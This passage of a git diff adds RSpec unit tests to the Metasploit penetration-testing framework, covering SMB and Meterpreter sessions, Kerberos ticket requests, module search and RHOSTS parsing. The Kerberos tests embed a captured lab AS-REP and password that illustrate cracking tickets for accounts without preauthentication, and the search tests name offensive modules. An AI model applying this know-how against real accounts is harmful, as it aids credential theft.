+ is_expected.to have_received(:execute_script).ordered.with(initial_auto_run_script) + is_expected.to have_received(:execute_script).ordered.with(auto_run_script) + end + end + end + + context 'when the platform is windows' do + let(:platform) { 'windows' } + before(:each) do + subject.platform = platform + end + + it 'should not support aborting the process running in the session' do + expect(subject.abort_foreground_supported).to be(false) + end + end + end +end diff --git a/spec/lib/msf/base/sessions/meterpreter_spec.rb b/spec/lib/msf/base/sessions/meterpreter_spec.rb index 1de154598d..8ec70758d1 100644 --- a/spec/lib/msf/base/sessions/meterpreter_spec.rb +++ b/spec/lib/msf/base/sessions/meterpreter_spec.rb @@ -153,5 +153,16 @@ RSpec.describe Msf::Sessions::Meterpreter do end -end + describe '#exit' do + it 'shuts down the session' do + allow(subject).to receive(:core).and_return(double('core')) + allow(subject).to receive(:console).and_return(double('console')) + expect(subject.core).to receive(:shutdown) + expect(subject).to receive(:shutdown_passive_dispatcher) + expect(subject.console).to receive(:stop) + subject.exit + end + end + +end diff --git a/spec/lib/msf/base/sessions/smb_spec.rb b/spec/lib/msf/base/sessions/smb_spec.rb new file mode 100644 index 0000000000..bf5fb7c04a --- /dev/null +++ b/spec/lib/msf/base/sessions/smb_spec.rb @@ -0,0 +1,148 @@ +# frozen_string_literal: true + +require 'spec_helper' + +RSpec.describe Msf::Sessions::SMB do + let(:rstream) { instance_double(Rex::Socket) } + let(:client) { instance_double(RubySMB::Client) } + let(:dispatcher) { instance_double(RubySMB::Dispatcher::Socket) } + let(:opts) { { client: client } } + let(:console_class) { Rex::Post::SMB::Ui::Console } + let(:user_input) { instance_double(Rex::Ui::Text::Input::Readline) } + let(:user_output) { instance_double(Rex::Ui::Text::Output::Stdio) } + let(:name) { 'name' } + let(:log_source) { "session_#{name}" } + let(:type) { 'SMB' } + let(:description) { 'SMB' } + let(:can_cleanup_files) { false } + let(:address) { '192.0.2.1' } + let(:port) { '1337' } + let(:peer_info) { "#{address}:#{port}" } + + before(:each) do + allow(user_input).to receive(:intrinsic_shell?).and_return(true) + allow(user_input).to receive(:output=) + allow(rstream).to receive(:peerinfo).and_return(peer_info) + allow(client).to receive(:dispatcher).and_return(dispatcher) + allow(dispatcher).to receive(:tcp_socket).and_return(rstream) + end + + subject(:session) do + smb_session = described_class.new(rstream, opts) + smb_session.user_input = user_input + smb_session.user_output = user_output + smb_session.name = name + smb_session + end + + describe '.type' do + it 'should have the correct type' do + expect(described_class.type).to eq(type) + end + end + + describe '.can_cleanup_files' do + it 'should be able to cleanup files' do + expect(described_class.can_cleanup_files).to eq(can_cleanup_files) + end + end + + describe '#desc' do + it 'should have the correct description' do + expect(subject.desc).to eq(description) + end + end + + describe '#type' do + it 'should have the correct type' do + expect(subject.type).to eq(type) + end + end + + describe '#initialize' do + context 'without a client' do + let(:opts) { {} } + + it 'raises a KeyError' do + expect { subject }.to raise_exception(KeyError) + end + end + context 'with a client' do + it 'does not raise an exception' do + expect { subject }.not_to raise_exception + end + end + + it 'creates a new console' do + expect(subject.console).to be_a(console_class) + end + end + + describe '#bootstrap' do + subject { session.bootstrap } + + it 'keeps the sessions user input' do + expect { subject }.not_to change(session, :user_input).from(user_input) + end + + it 'keeps the sessions user output' do + expect { subject }.not_to change(session, :user_output).from(user_output) + end + + it 'sets the console input' do + expect { subject }.to change(session.console, :input).to(user_input) + end + + it 'sets the console output' do + expect { subject }.to change(session.console, :output).to(user_output) + end + + it 'sets the log source' do + expect { subject }.to change(session.console, :log_source).to(log_source) + end + end + + describe '#reset_ui' do + before(:each) do + session.bootstrap + end + + subject { session.reset_ui } + + it 'keeps the sessions user input' do + expect { subject }.not_to change(session, :user_input).from(user_input) + end + + it 'keeps the sessions user output' do + expect { subject }.not_to change(session, :user_output).from(user_output) + end + + it 'resets the console input' do + expect { subject }.to change(session.console, :input).from(user_input).to(nil) + end + + it 'resets the console output' do + expect { subject }.to change(session.console, :output).from(user_output).to(nil) + end + end + + describe '#exit' do + subject { session.exit } + + it 'exits the session' do + expect { subject }.to change(session.console, :stopped?).from(false).to(true) + end + end + + describe '#address' do + subject { session.address } + + it { is_expected.to eq(address) } + end + + describe '#port' do + subject { session.port } + + it { is_expected.to eq(port) } + end +end diff --git a/spec/lib/msf/core/exploit/remote/kerberos/client_spec.rb b/spec/lib/msf/core/exploit/remote/kerberos/client_spec.rb index 708c1cf002..929a259201 100644 --- a/spec/lib/msf/core/exploit/remote/kerberos/client_spec.rb +++ b/spec/lib/msf/core/exploit/remote/kerberos/client_spec.rb @@ -68,6 +68,102 @@ RSpec.describe Msf::Exploit::Remote::Kerberos::Client do ) end + let(:as_rep_success_preauth) do + decode_kerb_response( + "\x6b\x82\x05\xa3\x30\x82\x05\x9f\xa0\x03\x02\x01\x05\xa1\x03\x02" \ + "\x01\x0b\xa2\x2c\x30\x2a\x30\x28\xa1\x03\x02\x01\x13\xa2\x21\x04" \ + "\x1f\x30\x1d\x30\x1b\xa0\x03\x02\x01\x12\xa1\x14\x1b\x12\x50\x4f" \ + "\x44\x38\x2e\x4c\x41\x4e\x6e\x6f\x2e\x70\x72\x65\x61\x75\x74\x68" \ + "\xa3\x0a\x1b\x08\x50\x4f\x44\x38\x2e\x4c\x41\x4e\xa4\x17\x30\x15" \ + "\xa0\x03\x02\x01\x01\xa1\x0e\x30\x0c\x1b\x0a\x6e\x6f\x2e\x70\x72" \ + "\x65\x61\x75\x74\x68\xa5\x82\x04\x09\x61\x82\x04\x05\x30\x82\x04" \ + "\x01\xa0\x03\x02\x01\x05\xa1\x0a\x1b\x08\x50\x4f\x44\x38\x2e\x4c" \ + "\x41\x4e\xa2\x1d\x30\x1b\xa0\x03\x02\x01\x02\xa1\x14\x30\x12\x1b" \ + "\x06\x6b\x72\x62\x74\x67\x74\x1b\x08\x50\x4f\x44\x38\x2e\x4c\x41" \ + "\x4e\xa3\x82\x03\xcd\x30\x82\x03\xc9\xa0\x03\x02\x01\x12\xa1\x03" \ + "\x02\x01\x02\xa2\x82\x03\xbb\x04\x82\x03\xb7\x99\x95\xd9\xec\xba" \ + "\x54\xd8\x84\x21\x1c\x22\x9a\x14\x2c\xab\xa9\x8f\xfd\xb0\x5f\x43" \ + "\xa6\x7b\xb7\x8c\xfb\x82\x58\x62\xcb\x4d\xc7\xda\x7a\x18\x95\x89" \ + "\x14\x41\xa1\xd0\x8c\xd7\xc0\x8d\x3f\x86\xd6\x50\x7e\xf7\x43\x76" \ + "\x19\x9f\x6d\x77\x10\xe1\xf7\x1f\x63\xf1\xf8\x87\x05\x7d\x97\xc0" \ + "\xda\x5c\xf4\x6f\x8c\x02\x16\xd2\x85\x12\x24\x50\x1d\x69\x93\x07" \ + "\x35\x32\x9f\x7b\xb3\xc7\x6b\xf5\xdf\xd5\xea\xed\x5b\xa2\x10\x14" \ + "\x86\xbd\x44\xbd\x4c\x27\x13\xe5\xa1\xf9\xd2\xb8\x07\x0e\xf3\xb8" \ + "\x7a\x0f\x82\x15\x7a\x5c\x0b\x98\xe5\x32\x9b\x69\x70\x66\xe7\xde" \ + "\x5e\x3b\x3c\x6d\xd7\xcb\x04\xaa\x39\xe6\x35\xcc\x2e\xd3\x10\x99" \ + "\xf6\xec\x8a\x9f\xd8\x24\x5f\xce\xc8\x68\x22\xfd\x24\x71\x2c\x23" \ + "\xce\x84\x3c\xb3\xb0\xc9\x78\x8e\x97\x77\x80\xaf\xde\xc5\x16\x35" \ + "\x31\xfe\xfe\xec\xb8\x17\x78\x3f\xf3\x06\xe8\x86\x82\xa4\xb8\x97" \ + "\xe6\x2a\xc5\x54\x08\x7f\x65\x03\xed\x29\xdc\xc8\xf2\xbf\xc2\x58" \ + "\x7e\xd3\xa5\x97\x22\xec\x40\xd2\x9d\x13\xea\xfb\xe1\xbf\x52\x4f" \ + "\xac\x9e\x29\x80\x35\xee\xc2\x55\x8a\x04\xdd\x0a\x21\x60\x92\xb8" \ + "\xc7\x87\xa9\x07\x40\x53\xc0\x15\xde\x07\xdb\xe9\x0a\x78\x7a\xf7" \ + "\x9a\x1d\x0f\x18\x54\x83\xa1\xb7\xdf\x59\xb2\xb7\x3f\xec\xa4\x1a" \ + "\xd5\x1e\x79\x8e\xec\xfa\xda\x5d\x46\x7c\x49\x14\x61\xdb\xa3\x77" \ + "\x66\xde\x4f\x5b\x5f\x36\xbf\xc8\x75\xd5\x06\xb4\xf9\x38\x0f\xa2" \ + "\x06\xed\x12\x53\x7f\x34\x79\x45\x4f\x95\x10\xe7\x17\x8b\x13\x1f" \ + "\x81\x77\xe4\xcb\x1e\x46\xfb\x6f\x57\xbc\x37\x53\x2a\xa2\xf4\xec" \ + "\x0e\xa1\x02\xaa\x35\xbc\x66\xc0\xcd\x65\x12\x9d\xd2\xfe\xae\xd5" \ + "\xa5\x8e\x10\x34\x6d\x6e\x87\x31\xfd\xb5\xa4\x6d\x60\x35\x90\x10" \ + "\x0b\x2c\x76\x17\x51\x44\x72\x5d\x2d\x47\x4e\xfa\x63\x96\x70\x31" \ + "\x6e\xef\x6a\xfb\x47\xd2\x46\x23\x6c\x92\xc6\x1d\x3b\xfc\x79\x66" \ + "\xde\xb9\xba\x63\x2f\x53\x26\xa4\x9a\x91\x53\xa3\xd4\x76\x2f\x86" \ + "\xf4\x31\xa2\x50\xca\x6f\x30\x01\x87\xf3\x35\x63\xe4\x16\x00\x56" \ + "\xf4\x64\x80\xc2\x90\x7b\x14\x5a\x6a\x6c\x85\x75\x6d\x74\x5e\x90" \ + "\xbf\xc6\x7a\x63\xee\xca\x46\x12\x67\x04\x99\xd9\xc2\xca\x3f\x99" \ + "\x2c\x65\x72\x5a\x15\x13\x7e\x61\x33\x05\x0f\xac\x49\xb1\x38\x8c" \ + "\x20\xd9\x56\x34\x93\x89\x6d\x65\xd7\x40\x1a\x68\x37\xb8\x6f\x2f" \ + "\xf2\x6d\xa0\xd3\x0b\x20\x7c\x9d\x91\xb0\x47\x8c\xca\xc8\xd6\x8b" \ + "\x23\x13\xb3\x13\x12\x5e\x98\x6f\x69\x6a\x6f\x26\x8e\xb8\x4d\x85" \ + "\x8c\x9e\x76\x12\x31\xdb\x21\xe4\xcb\x90\xdf\xbc\xfb\x0d\xef\xb5" \ + "\xc5\x01\xd2\x4b\x4f\x40\x8c\x8f\x99\x20\x60\x30\xcc\xad\xa6\x2c" \ + "\x58\xc2\xa8\x10\x99\x80\xb9\x0a\xa1\x3f\x0a\xf6\x8a\x3a\x54\x6a" \ + "\xfa\x4f\x47\xf5\x0c\x9d\x56\xcf\x90\x43\x8a\x65\xd3\x93\xfc\x76" \ + "\x1b\x92\xd7\x05\x78\x6f\xda\x70\x2d\x70\xdf\x05\xa7\xd4\x6f\xd9" \ + "\xd6\x8a\x99\x95\x06\xe0\xf0\x6d\x52\xe0\xd8\x36\x9f\xa4\x1f\xee" \ + "\x84\x05\xf2\x0f\xc7\x70\xba\x8b\x61\xf8\xe2\x33\xe2\x7a\x96\x5e" \ + "\x14\xbc\x7f\x49\xe7\x4e\x97\x7e\x9a\x70\x96\xc0\xf6\xcb\x6f\x5d" \ + "\x06\x22\x31\x06\x4d\xdf\xdc\xe8\x77\x91\x88\x06\x87\xf6\x3c\x47" \ + "\x92\xca\xe9\x87\x38\x3d\xaf\x40\x33\x3c\xd6\xdd\x35\x8d\x12\x24" \ + "\x35\xc3\xf0\xa5\x9e\x8b\xa4\xe1\x94\x27\x55\x10\x59\x3c\xcb\x1e" \ + "\x35\x10\xb4\x10\x6d\xf3\x17\xf7\xea\x5e\x31\x55\xd1\x4c\x9e\xd1" \ + "\xde\x08\x61\xce\xcb\x94\xcc\x3f\x86\x65\x99\x21\x5c\x96\x33\x22" \ + "\x9e\xc5\x6d\x0a\xf5\x28\x63\x0d\x9c\xbd\x32\x41\x81\x2d\x46\xdd" \ + "\xf6\x00\x5c\x88\x62\x15\x87\x13\x60\xd1\xa1\x6a\x67\xbc\x45\x71" \ + "\x38\xec\xba\x78\xf6\xd0\x1f\x32\x21\x37\x79\x60\xc7\x48\xb7\xe0" \ + "\x9c\x55\x65\x73\xe6\x3b\x5d\x6a\xf0\xf8\x6f\x38\x41\xe5\x8b\xde" \ + "\xa2\x62\x57\x1b\x33\x0d\x00\xa2\xec\x18\x6f\x2e\xfc\x46\xa4\x49" \ + "\xdd\x5a\x5e\x7a\x6d\xfb\x96\xfe\x74\x22\xd7\x57\x3c\x00\x31\x1c" \ + "\x56\x6e\xae\xa9\x15\x45\x54\xec\x8e\xef\x32\x01\xb8\xf8\x41\xff" \ + "\x9f\x4c\x21\x68\xa4\x22\xb7\x36\x7c\x68\x68\x05\x50\x1a\xd7\xf4" \ + "\xd6\x33\x6f\xcb\x53\x5e\x87\x38\x4e\x76\x81\x77\x98\x50\x5c\xa2" \ + "\xf4\x34\x88\x81\xdb\x43\x9a\x2f\x60\x9b\xe1\xb9\x3c\x87\xf5\x3c" \ + "\x7a\x7e\x97\x1f\x53\x69\x02\x0e\x67\x97\xdb\x05\x42\x38\x35\x71" \ + "\x51\x2d\xa4\xb8\x04\x1c\x44\xeb\x8d\x81\xc1\xd7\xcf\x25\x39\x86" \ + "\x03\xc1\x74\x98\x01\x8e\x2c\x16\xa3\x99\xdf\x38\xa0\xcd\xf9\x8f" \ + "\xe0\x98\xa6\x82\x01\x31\x30\x82\x01\x2d\xa0\x03\x02\x01\x12\xa1" \ + "\x03\x02\x01\x04\xa2\x82\x01\x1f\x04\x82\x01\x1b\xb3\x98\xdd\x38" \ + "\x7b\xd0\xae\xe1\xf3\x76\x0f\xa8\x3c\x2a\x9b\x85\xb0\x7d\x64\xf3" \ + "\xb1\xd9\x78\xf3\x28\x05\xc7\x3f\xb4\x09\xcc\xdc\x6e\x4c\xdd\xc9" \ + "\xf8\xc9\x7a\x19\xa3\xda\x86\xc9\x15\x1d\x95\x8b\x90\x05\x8e\x1e" \ + "\x73\xca\xa1\x1c\xfa\x86\x10\x01\x2d\x5d\x29\x0c\x03\x3e\x67\xaa" \ + "\xf6\xc9\xde\xf9\x7a\xd7\xa2\x4e\xb3\x25\xb3\x57\x26\xfc\x44\x92" \ + "\x04\x08\xd1\x59\x50\x36\x0e\x2a\xd7\xbc\x26\x95\xcd\xda\xce\x87" \ + "\x32\x2c\x20\x69\xfb\x34\x94\x25\xe2\x33\x5f\xea\xb1\x37\xff\x7f" \ + "\x23\xf2\x7f\x26\x02\x08\x51\x55\xe5\x24\x4b\x01\x2e\x62\xcc\x98" \ + "\xd6\x2f\x0e\x5d\x50\x8a\x78\xe0\x87\xa0\x46\xa3\x5f\x01\x36\x61" \ + "\x65\xa9\x78\x21\x0f\xe8\x26\x1a\x12\xdd\xb7\x1a\x08\x3a\xcc\x0a" \ + "\xc9\xb4\x92\x2f\x5c\xe1\x1b\x4a\xaf\x07\x33\xe1\x5f\xf3\xc9\x5e" \ + "\xc5\x0d\xff\x79\x7b\x84\x9d\x82\x60\xf8\x12\x13\x3e\xf1\xea\xf7" \ + "\xe5\x0d\xf2\xe0\x83\x1c\x16\xf7\x61\x3b\x6d\x66\xc1\xbf\x60\x32" \ + "\x71\xdd\x4e\xcf\x77\x92\xc1\xc4\xa0\x88\x1b\x5f\x30\x22\x3b\x31" \ + "\x3a\x12\x35\xd2\x8b\x12\x51\x26\x12\x75\xab\x8e\xfd\x5a\xfe\x6c" \ + "\xe6\x26\x60\xa4\xfd\x06\xd0\x81\x8d\x68\x5f\x59\x43\x0f\x6b\xdd" \ + "\x6d\x91\xd1\x15\x32\xd3\x13\xc1\x2b\xb3\xec\x5b\x52\xee\x8d\x2d" \ + "\x8e\x25\x3c\xea\x30\xe6\x09" + ) + end + # Success - no error let(:as_rep_success) do decode_kerb_response( @@ -409,24 +505,95 @@ RSpec.describe Msf::Exploit::Remote::Kerberos::Client do context 'when kerberos preauth is not required' do let(:mock_kerberos_responses) do - [as_rep_success] + [as_rep_success_preauth] end it 'returns the ticket' do res = subject.send_request_tgt( - server_name: 'krbtgt/DEMO.local', - client_name: 'basic_user', + server_name: 'krbtgt/POD8.lan', + client_name: 'no.preauth', password: nil, - realm: 'DEMO.local' + realm: 'POD8.lan' ) - expect(res.ticket.realm).to eq('DEMO.LOCAL') - expect(res.ticket.sname.name_string).to eq(['krbtgt', 'DEMO.LOCAL']) + expect(res.ticket.realm).to eq('POD8.LAN') + expect(res.ticket.sname.name_string).to eq(['krbtgt', 'POD8.LAN']) expect(res.preauth_required).to be false expect(res.decrypted_part).to be_nil expect(res.krb_enc_key).to be_nil expect(mock_client).to have_received(:send_recv).once end + + it 'decrypts the ticket when the password is correct' do + res = subject.send_request_tgt( + server_name: 'krbtgt/POD8.lan', + client_name: 'no.preauth', + password: 'Password123!', + realm: 'POD8.lan' + ) + + expect(res.ticket.realm).to eq('POD8.LAN') + expect(res.ticket.sname.name_string).to eq(['krbtgt', 'POD8.LAN']) + expect(res.preauth_required).to be false + expect(res.decrypted_part.sname.name_string).to eq(['krbtgt','POD8.LAN']) # This verifies it decrypts + expect(res.krb_enc_key[:enctype]).to eq(Rex::Proto::Kerberos::Crypto::Encryption::AES256) + expect(mock_client).to have_received(:send_recv).once + end + + it 'decrypts the ticket when the key is correct' do + enc_key = Rex::Proto::Kerberos::Crypto::Aes256CtsSha1.new.string_to_key('Password123!', 'POD8.LANno.preauth') + res = subject.send_request_tgt( + server_name: 'krbtgt/POD8.lan', + client_name: 'no.preauth', + offered_etypes: [Rex::Proto::Kerberos::Crypto::Encryption::AES256], + password: nil, + key: enc_key, + realm: 'POD8.lan' + ) + + expect(res.ticket.realm).to eq('POD8.LAN') + expect(res.ticket.sname.name_string).to eq(['krbtgt', 'POD8.LAN']) + expect(res.preauth_required).to be false + expect(res.decrypted_part.sname.name_string).to eq(['krbtgt','POD8.LAN']) # This verifies it decrypts + expect(res.krb_enc_key[:enctype]).to eq(Rex::Proto::Kerberos::Crypto::Encryption::AES256) + expect(mock_client).to have_received(:send_recv).once + end + + it 'returns the ticket when the password is incorrect' do + res = subject.send_request_tgt( + server_name: 'krbtgt/POD8.lan', + client_name: 'no.preauth', + password: 'wrong password', + realm: 'POD8.lan' + ) + + expect(res.ticket.realm).to eq('POD8.LAN') + expect(res.ticket.sname.name_string).to eq(['krbtgt', 'POD8.LAN']) + expect(res.preauth_required).to be false + expect(res.decrypted_part).to be_nil + expect(res.krb_enc_key).to be_nil + expect(mock_client).to have_received(:send_recv).once + end + + it 'returns the ticket when the key is incorrect' do + enc_key = Rex::Proto::Kerberos::Crypto::Aes256CtsSha1.new.string_to_key('wrong password', 'POD8.LANno.preauth') + res = subject.send_request_tgt( + server_name: 'krbtgt/POD8.lan', + client_name: 'no.preauth', + offered_etypes: [Rex::Proto::Kerberos::Crypto::Encryption::AES256], + password: nil, + key: enc_key, + realm: 'POD8.lan' + ) + + expect(res.ticket.realm).to eq('POD8.LAN') + expect(res.ticket.sname.name_string).to eq(['krbtgt', 'POD8.LAN']) + expect(res.preauth_required).to be false + expect(res.decrypted_part).to be_nil + expect(res.krb_enc_key).to be_nil + expect(mock_client).to have_received(:send_recv).once + end + end context 'when kerberos preauth is required' do diff --git a/spec/lib/msf/core/exploit/remote/kerberos/service_authenticator/base_spec.rb b/spec/lib/msf/core/exploit/remote/kerberos/service_authenticator/base_spec.rb index d8f2ad72d1..27f78877dc 100644 --- a/spec/lib/msf/core/exploit/remote/kerberos/service_authenticator/base_spec.rb +++ b/spec/lib/msf/core/exploit/remote/kerberos/service_authenticator/base_spec.rb @@ -2,18 +2,45 @@ require 'spec_helper' RSpec.describe Msf::Exploit::Remote::Kerberos::ServiceAuthenticator::Base do - subject do - described_class.new( + let(:params) { + { realm: 'demo.local', hostname: 'mock_hostname', username: 'mock_username', password: 'mock_password', - host: 'mock_host', + host: '127.0.0.1', port: 88, timeout: 25, framework: instance_double(::Msf::Framework), framework_module: instance_double(::Msf::Module) - ) + } + } + + subject do + described_class.new(**params) + end + + describe '#connect' do + before(:each) do + allow(params[:framework_module]).to receive(:framework) + allow(params[:framework_module]).to receive(:print_status) + allow(params[:framework_module]).to receive(:vprint_status) + end + + context 'when host is nil' do + it 'resolves it to a hostname' do + expect(::Rex::Socket).to receive(:getresources).with("_kerberos._tcp.#{params[:realm]}", :SRV).and_return(['mock_host']) + instance = described_class.new(**params.merge(host: nil)) + instance.connect + expect(instance.host).to eq('mock_host') + end + + it 'raises a KerberosError on failure' do + expect(::Rex::Socket).to receive(:getresources).with("_kerberos._tcp.#{params[:realm]}", :SRV).and_return([]) + instance = described_class.new(**params.merge(host: nil)) + expect { instance.connect }.to raise_error(::Rex::Proto::Kerberos::Model::Error::KerberosError) + end + end end describe "#validate_response!" do @@ -28,6 +55,16 @@ RSpec.describe Msf::Exploit::Remote::Kerberos::ServiceAuthenticator::Base do end end + context 'when the response is invalid ASN1' do + let(:response) do + 'abcd' + end + + it 'raises a Kerberos decoding exception' do + expect { subject.validate_response!(response) }.to raise_error(::Rex::Proto::Kerberos::Model::Error::KerberosDecodingError, /Invalid GSS/) + end + end + context 'when the response is accept-incomplete and contains a kerberos error' do let(:response) do "\xa1\x81\x89\x30\x81\x86\xa0\x03\x0a\x01\x01\xa1\x0b\x06\x09\x2a" \ diff --git a/spec/lib/msf/core/modules/metadata/search_spec.rb b/spec/lib/msf/core/modules/metadata/search_spec.rb index 36aada404f..3ee442cff6 100644 --- a/spec/lib/msf/core/modules/metadata/search_spec.rb +++ b/spec/lib/msf/core/modules/metadata/search_spec.rb @@ -50,6 +50,7 @@ RSpec.describe Msf::Modules::Metadata::Search do it { expect(described_class.parse_search_string("stage:linux/x64/meterpreter ")).to eq({"stage"=>[["linux/x64/meterpreter"], []]}) } it { expect(described_class.parse_search_string("stager:linux/x64/reverse_tcp ")).to eq({"stager"=>[["linux/x64/reverse_tcp"], []]}) } it { expect(described_class.parse_search_string("adapter:cmd/linux/http/mips64 ")).to eq({"adapter"=>[["cmd/linux/http/mips64"], []]}) } + it { expect(described_class.parse_search_string("action:forge_golden ")).to eq({"action"=>[["forge_golden"], []]}) } end describe '#find' do @@ -128,6 +129,14 @@ RSpec.describe Msf::Modules::Metadata::Search do it_should_behave_like 'search_filter', :accept => accept, :reject => reject end + context 'on a module with actions' do + let(:opts) { ({ 'actions' => [{ 'name' => 'ACTION_NAME', 'description' => 'ACTION_DESCRIPTION'}] }) } + accept = %w(action:action_name action:action_description) + reject = %w(action:unrelated) + + it_should_behave_like 'search_filter', :accept => accept, :reject => reject + end + context 'on a module with the author "joev"' do let(:opts) { ({ 'author' => ['joev'] }) } accept = %w(author:joev author:joe) @@ -305,7 +314,7 @@ RSpec.describe Msf::Modules::Metadata::Search do REF_TYPES.each do |ref_type| ref_num = '1234-1111' - context 'on a module with reference #{ref_type}-#{ref_num}' do + context "on a module with reference #{ref_type}-#{ref_num}" do let(:opts) { ({ 'references' => ["#{ref_type}-#{ref_num}"] }) } accept = ["#{ref_type.downcase}:#{ref_num}"] reject = %w(1235-1111 1234-1112 bad).map { |n| "#{ref_type.downcase}:#{n}" } diff --git a/spec/lib/msf/core/option_container_spec.rb b/spec/lib/msf/core/option_container_spec.rb index dd055963a2..4fd2b9c09a 100644 --- a/spec/lib/msf/core/option_container_spec.rb +++ b/spec/lib/msf/core/option_container_spec.rb @@ -160,7 +160,7 @@ RSpec.describe Msf::OptionContainer do expect { options_with_rhosts.validate(datastore) }.to raise_error(Msf::OptionValidateError) { |error| expected_reasons = { 'RHOSTS' => [ - 'unexpected values: http://198.51.100.1:8080path, http://foo:bar@198.51.100.1:8080path' + 'Unexpected values: http://198.51.100.1:8080path, http://foo:bar@198.51.100.1:8080path' ] } expect(error.options).to eq(['RHOSTS', 'HttpUsername', 'HttpPassword']) diff --git a/spec/lib/msf/core/rhosts_walker_spec.rb b/spec/lib/msf/core/rhosts_walker_spec.rb index 4411889698..2133407484 100644 --- a/spec/lib/msf/core/rhosts_walker_spec.rb +++ b/spec/lib/msf/core/rhosts_walker_spec.rb @@ -40,12 +40,16 @@ RSpec::Matchers.define :match_errors do |expected| return false if actual.count != expected.count expected.zip(actual).all? do |(expected, actual)| - actual.instance_of?(expected.class) && actual.message == expected.message + + same_message = actual.instance_of?(expected.class) && actual.message == expected.message + same_cause = (actual.cause.nil? && expected.cause.nil?) || (actual.cause.class == expected.cause.class) + + same_message && same_cause end end failure_message do |actual| - "\nexpected:\n#{expected.to_a.join(",\n")}\n\ngot:\n#{actual.to_a.join(",\n")}\n\n(compared using ==)\n" + "\nexpected:\n#{expected.to_a.map {|e| "#{e.message} (#{e.cause})"}.join(",\n")}\n\ngot:\n#{actual.to_a.map {|e| "#{e.message} (#{e.cause})"}.join(",\n")}\n\n(compared using ==)\n" end failure_message_when_negated do |_actual| @@ -321,6 +325,9 @@ RSpec.describe Msf::RhostsWalker do before(:each) do @temp_files = [] + allow(::Addrinfo).to receive(:getaddrinfo).with('nonexistent.com', 0, ::Socket::AF_UNSPEC, ::Socket::SOCK_STREAM) do |*_args| + [] + end allow(::Addrinfo).to receive(:getaddrinfo).with('example.com', 0, ::Socket::AF_UNSPEC, ::Socket::SOCK_STREAM) do |*_args| [::Addrinfo.new(['AF_INET', 0, 'example.com', '192.0.2.2'])] end @@ -420,20 +427,23 @@ RSpec.describe Msf::RhostsWalker do { 'expected' => [] }, { 'RHOSTS' => nil, 'expected' => [] }, { 'RHOSTS' => '', 'expected' => [] }, - { 'RHOSTS' => '-1', 'expected' => [] }, - { 'RHOSTS' => 'http:', 'expected' => [Msf::RhostsWalker::Error.new('http:')] }, - { 'RHOSTS' => '127.0.0.1 http:', 'expected' => [Msf::RhostsWalker::Error.new('http:')] }, - { 'RHOSTS' => '127.0.0.1 http: 127.0.0.1 https:', 'expected' => [Msf::RhostsWalker::Error.new('http:'), Msf::RhostsWalker::Error.new('https:')] }, + { 'RHOSTS' => '-1', 'expected' => [Msf::RhostsWalker::Error.new('-1', cause: Msf::RhostsWalker::RhostResolveError.new)] }, + { 'RHOSTS' => 'http:', 'expected' => [Msf::RhostsWalker::Error.new('http:', cause: Addressable::URI::InvalidURIError.new)] }, + { 'RHOSTS' => '127.0.0.1 http:', 'expected' => [Msf::RhostsWalker::Error.new('http:', cause: Addressable::URI::InvalidURIError.new)] }, + { 'RHOSTS' => '127.0.0.1 http: 127.0.0.1 https:', 'expected' => [Msf::RhostsWalker::Error.new('http:', cause: Addressable::URI::InvalidURIError.new), Msf::RhostsWalker::Error.new('https:', cause: Addressable::URI::InvalidURIError.new)] }, # Unknown protocols aren't validated, as there may be potential ambiguity over ipv6 addresses # which may technically start with a 'schema': AAA:1450:4009:822::2004. The existing rex socket # range walker will silently drop this value though, and it may be treated as an overall error. - { 'RHOSTS' => 'unknown_protocol://127.0.0.1 127.0.0.1', 'expected' => [ ] }, + { 'RHOSTS' => 'unknown_protocol://127.0.0.1 127.0.0.1', 'expected' => [ Msf::RhostsWalker::Error.new('unknown_protocol://127.0.0.1', cause: Msf::RhostsWalker::RhostResolveError.new)] }, # cidr validation - { 'RHOSTS' => 'cidr:127.0.0.1', 'expected' => [Msf::RhostsWalker::Error.new('cidr:127.0.0.1')] }, - { 'RHOSTS' => 'cidr:abc/127.0.0.1', 'expected' => [Msf::RhostsWalker::Error.new('cidr:abc/127.0.0.1')] }, - { 'RHOSTS' => 'cidr:/1000:127.0.0.1', 'expected' => [Msf::RhostsWalker::Error.new('cidr:/1000:127.0.0.1')] }, - { 'RHOSTS' => 'cidr:%eth2:127.0.0.1', 'expected' => [Msf::RhostsWalker::Error.new('cidr:%eth2:127.0.0.1')] }, + { 'RHOSTS' => 'cidr:127.0.0.1', 'expected' => [Msf::RhostsWalker::Error.new('cidr:127.0.0.1', cause: Msf::RhostsWalker::InvalidCIDRError.new)] }, + { 'RHOSTS' => 'cidr:abc/127.0.0.1', 'expected' => [Msf::RhostsWalker::Error.new('cidr:abc/127.0.0.1', cause: Msf::RhostsWalker::InvalidCIDRError.new)] }, + { 'RHOSTS' => 'cidr:/1000:127.0.0.1', 'expected' => [Msf::RhostsWalker::Error.new('cidr:/1000:127.0.0.1', cause: Msf::RhostsWalker::InvalidCIDRError.new)] }, + { 'RHOSTS' => 'cidr:%eth2:127.0.0.1', 'expected' => [Msf::RhostsWalker::Error.new('cidr:%eth2:127.0.0.1', cause: Msf::RhostsWalker::InvalidCIDRError.new)] }, + + # host resolution + { 'RHOSTS' => 'https://nonexistent.com:9000/foo', 'expected' => [Msf::RhostsWalker::Error.new('https://nonexistent.com:9000/foo', cause: Msf::RhostsWalker::RhostResolveError.new)] }, ].each do |test| it "handles the input #{test['RHOSTS'].inspect} as having the errors #{test['expected']}" do aux_mod.datastore['RHOSTS'] = test['RHOSTS'] diff --git a/spec/lib/msf/ui/console/table_print/rank_formatter_spec.rb b/spec/lib/msf/ui/console/table_print/rank_formatter_spec.rb index 01763eaa8b..fcf8717a7e 100644 --- a/spec/lib/msf/ui/console/table_print/rank_formatter_spec.rb +++ b/spec/lib/msf/ui/console/table_print/rank_formatter_spec.rb @@ -20,6 +20,9 @@ RSpec.describe Msf::Ui::Console::TablePrint::RankFormatter do expect(formatter.format(42)).to eql 42 expect(formatter.format([])).to eql [] expect(formatter.format({})).to eql Hash.new + expect(formatter.format(nil)).to eql nil + expect(formatter.format('')).to eql '' + expect(formatter.format('.')).to eql '.' end end end diff --git a/spec/lib/rex/post/meterpreter/ui/console/command_dispatcher/core_spec.rb b/spec/lib/rex/post/meterpreter/ui/console/command_dispatcher/core_spec.rb new file mode 100644 index 0000000000..ad56045b33 --- /dev/null +++ b/spec/lib/rex/post/meterpreter/ui/console/command_dispatcher/core_spec.rb @@ -0,0 +1,25 @@ +# frozen_string_literal: true + +require 'spec_helper' +require 'rex/post/meterpreter/ui/console/command_dispatcher/core' + +RSpec.describe 